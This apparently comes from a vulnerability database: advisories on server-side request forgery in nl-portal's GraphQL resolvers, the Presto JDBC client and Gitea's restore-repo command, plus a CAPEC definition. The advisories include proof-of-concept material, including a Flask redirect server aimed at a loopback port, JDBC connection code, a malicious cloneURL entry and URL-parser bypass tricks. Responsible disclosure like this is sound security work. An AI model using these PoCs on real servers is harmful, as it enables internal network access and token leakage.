Vulnerability from github – Published: 2026-06-19 14:17 – Updated: 2026-06-19 14:17Summary
The public GraphQL resolvers getFormDefinitionByObjectenApiUrl(url) and the deprecated getFormDefinitionById(id) fetch a caller-supplied URL using the privileged Objecten-API token. Because the /graphql endpoint is permitAll() and these resolvers do not declare a CommonGroundAuthentication parameter, an unauthenticated caller can make the backend issue an outbound request carrying Authorization: Token <objecten-api-token> to a caller-influenced URL on the configured Objecten-API host. This is a constrained (same-host) server-side request forgery combined with missing authorization.
Reported responsibly and confirmed in a local lab build against the project's own WebFlux security stack. No production system was accessed.
Affected
nl.nl-portal:form(the public resolver / entry point) together withnl.nl-portal:objectenapi(where the host guard lives).- First shipped in 1.1.0.RELEASE (2023-10-31); the vulnerable code was introduced on 2023-08-12 (commit
b2f87ca) and is present in every release since (1.1.x, 1.2.5, 1.3.0, the 3.0.x line, and 3.1.0 /next-minor, HEAD45abcd2). Fixed in 3.0.4.RELEASE (see Fix below).
Data flow (confirmed in source)
form/.../graphql/FormDefinitionQuery.kt—@QueryMapping getFormDefinitionByObjectenApiUrl(@Argument url), noCommonGroundAuthenticationparameter (same forgetFormDefinitionById).- →
form/.../service/ObjectsApiFormDefinitionService.kt— passes the URL through unvalidated. - →
zgw/objectenapi/.../service/ObjectenApiService.ktgetObjectByUrl(url)— the only guard is host equality (URI.create(url).host == objectsApiClientConfig.url.host); no scheme/port/path check. - →
zgw/objectenapi/.../client/ObjectsApiClient.ktgetObjectByUrl(url)viawebClientWithoutBaseUrl(), which attaches the default headerAuthorization: Token <token>to the fully caller-supplied URL.
Reachability: /graphql is permitAll() (core/.../security/OauthSecurityAutoConfiguration.kt). Authentication is only enforced on resolvers that declare a CommonGroundAuthentication parameter; these do not, and there is no @PreAuthorize/instrumentation safety net. The project's own GraphQLEndpointAuthorizationIT lists getFormDefinitionByObjectenApiUrl as an intentionally public operation — so the unauthenticated reachability is by design; the defect is that an intentionally-public resolver forwards a privileged token to a caller-influenced URL.
Secondary (defense-in-depth): zgw/zaken-api/.../service/ZakenApiService.kt getZaakDetails calls objectsApiClient.getObjectByUrl directly, bypassing the service-level host guard. It is currently only reachable via the authenticated ZaakQuery.zaakdetails field resolver with server-derived URLs, so it is not an unauthenticated vector today — but it shows why the guard belongs in the client.
Proof of concept (lab, against the real WebFlux stack)
- An unauthenticated
POST /graphqlcallinggetFormDefinitionByObjectenApiUrl(url: ...)executes without authentication. - With the configured Objecten-API host pointed at a mock server, an outbound request to a caller-chosen port/path on that host carried
Authorization: Token <configured-token>— confirming the token is attached to caller-influenced URLs.
Impact and severity — important limitations
Assessed as Medium because two code-level facts constrain practical impact:
-
No cross-host SSRF / token exfiltration in standard deployments. The token only travels to the configured Objecten-API host. Exfiltration requires an attacker-controlled listener at that host (a different port/path routing elsewhere) — generally not the case in managed deployments. A range of URL-parser bypass payloads was tested (userinfo
@,%2f/%00/%09, backslash,#/?, double-host, trailing-dot, IDN/Unicode full-stop, fraction-slash, IPv6); no parser differential was found between thejava.net.URI-based guard and the Spring/Netty URI builder used by WebClient — every payload either kept the request on the configured host or was rejected (fail-closed). The lab token-leak PoC works only because the configured host there islocalhost; this does not generalize to production. -
Arbitrary PII object read is blocked by typed deserialization. The response is deserialized into
ObjectsApiObject<ObjectsApiFormIoFormDefinition>, whose envelope fields anddata.formDefinitionare all non-nullable Kotlin properties (JacksonKotlinModuleregistered). An object without a top-leveldata.formDefinition(e.g. taken/berichten/zaakdetails) fails to deserialize (DecodingException) and returns no data. The resolver can therefore only return objects shaped like a form definition — and form definitions are intentionally public (loaded pre-login).
Escalation conditions that would raise severity toward High: - the Objecten-API host shares infrastructure with an attacker-controllable endpoint (other port/path), enabling capture of the privileged token; or - a URL-parser differential is later found that escapes the host guard.
Remediation
- Move the host validation out of
ObjectenApiService.getObjectByUrland intoObjectsApiClient.getObjectByUrlso the direct callerZakenApiService.getZaakDetailsis covered too, and tighten it from host-only to scheme + host + port + path-prefix. Preferably, do not accept a full URL at all: validate/extract the object UUID and rebuild the URL from the fixed configured base (reuse the existingObjectsApiClient.getObjectByIdpattern,/api/v2/objects/{uuid}). - Separately decide whether
getFormDefinitionByObjectenApiUrl/getFormDefinitionByIdshould remain unauthenticated. They are currently intentionally public (forms load before login); for a stricter posture, add aCommonGroundAuthenticationparameter as in the other resolvers — noting this breaks pre-login form loading.

Fix
Fixed in 3.0.4.RELEASE (commit 39ad80f, PR #700, "rework form module"):
- The unauthenticated resolvers getFormDefinitionByObjectenApiUrl and the deprecated getFormDefinitionById were removed from both FormDefinitionQuery and the GraphQL schema.
- getFormDefinitionByName now requires a CommonGroundAuthentication parameter (no longer public).
- The URL-based service method findObjectsApiFormDefinitionByUrl(url) was removed and replaced by getObjectsApiFormDefinitionById(objectId: UUID), which fetches by UUID via the fixed /api/v2/objects/{uuid} path (no caller-supplied URL, so no SSRF) and validates the object type against the configured form-definition object type.
- Form definitions are now retrieved through the new authenticated query getFormDefinitionByTaskId(taskId) in nl.nl-portal:taak, which authorizes the caller against the task (CommonGroundAuthentication, BSN/KVK match, else 401) and derives the form-definition UUID from the task's own server-side data, not from caller input.
- No resolver feeds caller-controlled input into ObjectenApiService.getObjectByUrl anymore. The objectenapi module itself was not changed; the fix lives entirely in nl.nl-portal:form and the new nl.nl-portal:taak query.
Upgrade instructions
- Backend: upgrade
nl.nl-portal:*to 3.0.4 (or later). - Frontend: upgrade
nl-portal-frontend-librariesto v3.0.3 (or later). This is required: the removed GraphQL queries (getFormDefinitionByObjectenApiUrl,getFormDefinitionById) and the now-authenticatedgetFormDefinitionByNameare a breaking change. Frontend v3.0.3 uses the new authenticatedgetFormDefinitionByTaskId/getFormDefinitionByNamequeries.

GHSA-XM7X-F3W2-4HJM
Vulnerability from github – Published: 2023-10-03 21:54 – Updated: 2023-10-03 21:54Summary
Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan.
Details
Presto JDBC client uses OkHttp to send POST /v1/statement and GET /v1/info requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect, JDBC client will follow the redirect and cause SSRF.
For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.
The relevant code is in file path /presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java and function StatementClientV1 .
The flowchart is as follows:

PoC
Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/v1/statement', methods=['POST'])
def redirect_to_interal_server():
return redirect('http://127.0.0.1:8888', code=302)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8000)
Connecting to the malicious server using JDBC:
String url = "jdbc:presto://<ip>:<port>";
Properties properties = new Properties();
properties.setProperty("user", "root");
try {
Connection connection = DriverManager.getConnection(url, properties);
Statement stmt = connection.createStatement();
ResultSet res = stmt.executeQuery("show catalogs");
while(res.next()) {
System.out.println(res.getString(1));
}
} catch (Exception e) {
e.printStackTrace();
}
Pwned!
Impact
When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.

Regarding the fix suggestions, the redirect issue we can consider directly disable the following redirect. If not, we can add a jdbc parameter such as allowRedirect. Like MySQL JDBC caused arbitrary file reading before, its solution is adding the allowLoadLocalInfile parameters. Disable redirect by default, and there is a need to open. The nextUri issue is similar. If we can only take the path of nextUri instead of the complete URL, join the host and path. If not, add a jdbc parameter too.
I think these two vulnerabilities are worth fixing. There is no effective way to avoid this vulnerability at the server side, and the only way to fix them is modifying the jdbc source code. I think many other vendors also have this issue.
I hope to apply for CVEs and give security thanks in the vulnerability bulletin to prove my work, thank you.

"details": "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nPresto JDBC client uses OkHttp to send `POST /v1/statement` and `GET /v1/info` requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect, JDBC client will follow the redirect and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `StatementClientV1` .\n\nThe flowchart is as follows:\n\n\u003cimg src=\"https://s2.loli.net/2023/09/18/AhiHNL5neuYIK4X.png\" alt=\"trino_jdbc_ssrf_1.png\" style=\"zoom:50%;\" /\u003e\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/v1/statement\u0027, methods=[\u0027POST\u0027])\ndef redirect_to_interal_server():\n return redirect(\u0027http://127.0.0.1:8888\u0027, code=302)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://\u003cip\u003e:\u003cport\u003e\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n Connection connection = DriverManager.getConnection(url, properties);\n Statement stmt = connection.createStatement();\n ResultSet res = stmt.executeQuery(\"show catalogs\");\n while(res.next()) {\n System.out.println(res.getString(1));\n }\n} catch (Exception e) {\n e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Others\n\nRegarding the fix suggestions, the redirect issue we can consider directly disable the following redirect.

GHSA-XMJ7-XJ85-HFC3
Vulnerability from github – Published: 2026-07-21 20:37 – Updated: 2026-07-21 20:37Summary
Gitea's restore-repo CLI command restores a repository from a dump
directory/archive. When parsing pull_request.yml from that dump, the
Head.CloneURL field is used to add a git remote and fetch from it with
no validation, because the safety check that's supposed to guard it
(CheckAndEnsureSafePR) is called with an empty commonCloneBaseURL,
which silently disables it. This lets a malicious dump make the Gitea
server execute git fetch against an attacker-chosen URL (SSRF), or
disclose a local git repository via file://. This is a different root
cause from the recently fixed path-traversal issue in the same command
(#38215), which patched DownloadURL/PatchURL but not Head.CloneURL.
Details
services/migrations/restore.go's GetPullRequests() unmarshals
pull_request.yml directly into base.PullRequest structs with no
validation of Head.CloneURL:
err = yaml.Unmarshal(bs, &pulls)
...
for _, pr := range pulls {
if pr.PatchURL != "" {
pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)
}
CheckAndEnsureSafePR(pr, "", r) // <-- empty baseURL
}
CheckAndEnsureSafePR (services/migrations/common.go) is supposed to
reject Head.CloneURL/PatchURL values that don't share a common base
URL:
func hasBaseURL(toCheck, baseURL string) bool {
if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
baseURL += "/"
}
return strings.HasPrefix(toCheck, baseURL)
}
func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {
valid := true
if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {
pr.PatchURL = ""
valid = false
}
if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {
pr.Head.CloneURL = ""
valid = false
}
return valid
}
strings.HasPrefix(anything, "") is always true in Go. Because
restore.go is the only caller that passes "" as
commonCloneBaseURL, this check is a complete no-op on the restore-repo
path — Head.CloneURL survives unchanged regardless of its value. Every
other downloader (github.go, gitlab.go, gitea_downloader.go,
codebase.go, codecommit.go, onedev.go) passes a real base URL, so
they are not affected.
services/migrations/gitea_uploader.go then uses the unvalidated value
directly:
err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
// ... later: fetch from that remote
resulting in the server executing git fetch against an
attacker-controlled URL sourced from the dump file.
RCE via git's ext:: transport helper was tested and ruled out — a
normal git install rejects it by default (fatal: transport 'ext' not
allowed), independent of Gitea's own configuration. This report is
scoped to SSRF and local git-repository disclosure.
Confirmed present, byte-for-byte identical, in v1.26.4 (latest stable
tag), release/v1.27, and main, by direct checkout and diff.
PoC
- Create a dump directory following the normal
restore-repolayout (repo.yml, etc.), and add apull_request.ymlcontaining at least one entry with:
- number: 1
head:
cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof"
ref: "main"
- Run
gitea restore-repoagainst that dump directory for any repo owner. - Observe on the target host/listener: an actual
gitHTTP discovery request arrives, e.g.GET /ssrf-proof/info/refs?service=git-upload-pack, driven entirely by the value from the dump file.
Verified the core mechanism (steps 2–3, i.e. the unvalidated
Head.CloneURL surviving CheckAndEnsureSafePR("") and then being used
in a real git remote add + git fetch) with a minimal, standalone Go
program built from the verbatim, unmodified hasBaseURL /
CheckAndEnsureSafePR function bodies (attached: gitea_ssrf_poc.go),
run end-to-end against a local HTTP listener. The listener's access log
confirms the request actually arrives.
Impact
An attacker who can get an administrator to run gitea restore-repo
against a malicious dump (the same threat model already accepted for the
just-fixed path-traversal issue in this command, #38215) can make the
Gitea server issue a git fetch against an arbitrary attacker-chosen
URL. This allows:
- SSRF against internal-only services or cloud metadata endpoints
reachable from the Gitea host.
- Disclosure of local git repositories reachable via file:// paths
readable by the Gitea process.
No public disclosure planned. Happy to provide further detail on request.

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
